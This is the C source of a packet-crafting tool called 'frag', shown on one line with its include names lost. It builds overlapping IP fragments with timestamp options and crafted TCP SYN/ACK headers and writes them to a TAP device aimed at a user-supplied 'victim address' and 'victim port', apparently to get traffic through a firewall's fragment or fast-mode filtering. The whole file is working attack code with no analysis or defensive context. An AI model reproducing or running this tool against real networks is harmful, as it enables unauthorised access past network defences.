#define _BSD_SOURCE #include #include #include #include #include #include #include #include struct pseudo { unsigned long source; unsigned long dest; unsigned char zero; unsigned char proto; unsigned short len; }; /* * -------------------- config -------------------- */ static char tap_device[] = "/dev/tap0"; static char local_ip_addr[] = "172.16.0.1"; static unsigned char dst_mac_addr[] = { 0xfe, 0xfd, 0x00, 0x00, 0x00, 0x00 }; static int num_hops = 1; /* * ------------------------------------------------ */ static void hex_dump(unsigned char *buff, int len) { int i, k; for (i = 0; i < len; i += k) { printf("%.4x: ", i); for (k = 0; i + k < len && k < 16; k++) printf("%.2x ", buff[i + k]); while (k++ < 16) printf(" "); for (k = 0; i + k < len && k < 16; k++) if (buff[i + k] >= 32 && buff[i + k] <= 126) printf("%c", buff[i + k]); else printf("."); printf("\n"); } } int full_write(int f, char *data, int len) { int res; while (len > 0) { if ((res = write(f, data, len)) < 0) return res; len -= res; data += res; } return 0; } static u_short calc_sum(u_short start, u_short *buff, int bytelen) { u_long sum = start; u_short last = 0; int wordlen; wordlen = bytelen / 2; bytelen &= 1; while (wordlen--) sum += *buff++; if (bytelen) { *((u_char *)&last) = *((u_char *)buff); sum += last; } sum = (sum >> 16) + (sum & 0xffff); sum = (sum >> 16) + (sum & 0xffff); return sum; } static void usage() { fprintf(stderr, "usage: frag v-addr f-port o-port v-port\n"); } int main(int ac, char *av[]) { int t; unsigned char dgram[136]; struct ether_header eh; unsigned char iph_buff[60]; struct ip *iph; unsigned char tcph_buff[60]; struct tcphdr *tcph; unsigned long la, va; unsigned short fp, op, vp; struct pseudo ph; unsigned short fid; if (ac != 5) { usage(); return 1; } if ((va = inet_addr(av[1])) == (unsigned long)-1) { fprintf(stderr, "invalid victim address given\n"); usage(); return 1; } if (!(fp = htons(atoi(av[2])))) { fprintf(stderr, "invalid fastmode port given\n"); usage(); return 1; } if (!(op = htons(atoi(av[3])))) { fprintf(stderr, "invalid open port given\n"); usage(); return 1; } if (!(vp = htons(atoi(av[4])))) { fprintf(stderr, "invalid victim port given\n"); usage(); return 1; } la = inet_addr(local_ip_addr); fid = (unsigned short)getpid(); iph = (struct ip *)iph_buff; tcph = (struct tcphdr *)tcph_buff; if ((t = open(tap_device, O_RDWR)) < 0) { perror("open"); return 2; } /* * -------------------- PACKET #1 -------------------- */ ph.source = la; ph.dest = va; ph.zero = 0; ph.proto = IPPROTO_TCP; ph.len = htons(20); tcph->th_sport = fp; tcph->th_dport = vp; tcph->th_seq = htonl(0x19711219); tcph->th_ack = htonl(0x19720201); tcph->th_x2 = 0; tcph->th_off = 5; tcph->th_win = htons(16384); tcph->th_urp = htons(0); tcph->th_flags = TH_SYN; /* * Must be the "with SYN" checksum. The ACK will be overwritten * by the second packet. */ tcph->th_sum = 0; tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12), (u_short *)tcph, ntohs(ph.len)); tcph->th_flags = TH_ACK; iph->ip_v = IPVERSION; iph->ip_tos = 0; iph->ip_id = htons(fid); iph->ip_ttl = 64; iph->ip_p = IPPROTO_TCP; iph->ip_src.s_addr = la; iph->ip_dst.s_addr = va; memcpy(eh.ether_dhost, dst_mac_addr, 6); memset(eh.ether_shost, 0, 6); eh.ether_type = htons(ETHERTYPE_IP); dgram[0] = dgram[1] = 0; memcpy(dgram + 2, &eh, 14); /* * ---------- Fragment #1 ---------- */ iph->ip_hl = 5; iph->ip_len = htons(28); iph->ip_off = htons(IP_MF); iph->ip_sum = 0; iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20); memcpy(dgram + 16, iph_buff, 20); memcpy(dgram + 36, tcph_buff, 8); hex_dump(dgram, 44); printf("\n"); if (full_write(t, dgram, 44) < 0) { perror("write"); close(t); return 3; } /* * ---------- Fragment #2 ---------- */ iph->ip_hl = 6; iph->ip_len = htons(32); iph->ip_off = htons(1 | IP_MF); iph_buff[20] = 68; iph_buff[21] = 4; iph_buff[22] = 5; iph_buff[23] = (15 - num_hops) << 4; iph->ip_sum = 0; iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24); memcpy(dgram + 16, iph_buff, 24); memcpy(dgram + 40, tcph_buff + 8, 8); hex_dump(dgram, 48); printf("\n"); if (full_write(t, dgram, 48) < 0) { perror("write"); close(t); return 3; } /* * ---------- Fragment #3 ---------- */ iph->ip_hl = 6; iph->ip_len = htons(28); iph->ip_off = htons(2); iph_buff[20] = 1; iph_buff[21] = 1; iph_buff[22] = 1; iph_buff[23] = 1; iph->ip_sum = 0; iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24); memcpy(dgram + 16, iph_buff, 24); memcpy(dgram + 40, tcph_buff + 16, 4); hex_dump(dgram, 44); printf("\n"); if (full_write(t, dgram, 44) < 0) { perror("write"); close(t); return 3; } /* * -------------------- PACKET #2 -------------------- */ getchar(); tcph->th_sport = htons(1024); tcph->th_dport = op; tcph->th_flags = TH_SYN; /* * But then again, the fragment with the checksum will be dropped anyway... */ tcph->th_sum = 0; tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12), (u_short *)tcph, ntohs(ph.len)); /* * ---------- Fragment #1 ---------- */ iph->ip_hl = 5; iph->ip_len = htons(28); iph->ip_off = htons(IP_MF); iph->ip_sum = 0; iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20); memcpy(dgram + 16, iph_buff, 20); memcpy(dgram + 36, tcph_buff, 8); hex_dump(dgram, 44); printf("\n"); if (full_write(t, dgram, 44) < 0) { perror("write"); close(t); return 3; } /* * ---------- Fragment #2 ---------- */ iph->ip_hl = 6; iph->ip_len = htons(32); iph->ip_off = htons(1 | IP_MF); iph_buff[20] = 1; iph_buff[21] = 1; iph_buff[22] = 1; iph_buff[23] = 1; iph->ip_sum = 0; iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24); memcpy(dgram + 16, iph_buff, 24); memcpy(dgram + 40, tcph_buff + 8, 8); hex_dump(dgram, 48); printf("\n"); if (full_write(t, dgram, 48) < 0) { perror("write"); close(t); return 3; } /* * ---------- Fragment #3 ---------- */ iph->ip_hl = 6; iph->ip_len = htons(28); iph->ip_off = htons(2); iph_buff[20] = 68; iph_buff[21] = 4; iph_buff[22] = 5; iph_buff[23] = (15 - num_hops) << 4; iph->ip_sum = 0; iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24); memcpy(dgram + 16, iph_buff, 24); memcpy(dgram + 40, tcph_buff + 16, 4); hex_dump(dgram, 44); printf("\n"); if (full_write(t, dgram, 44) < 0) { perror("write"); close(t); return 3; } close(t); return 0; }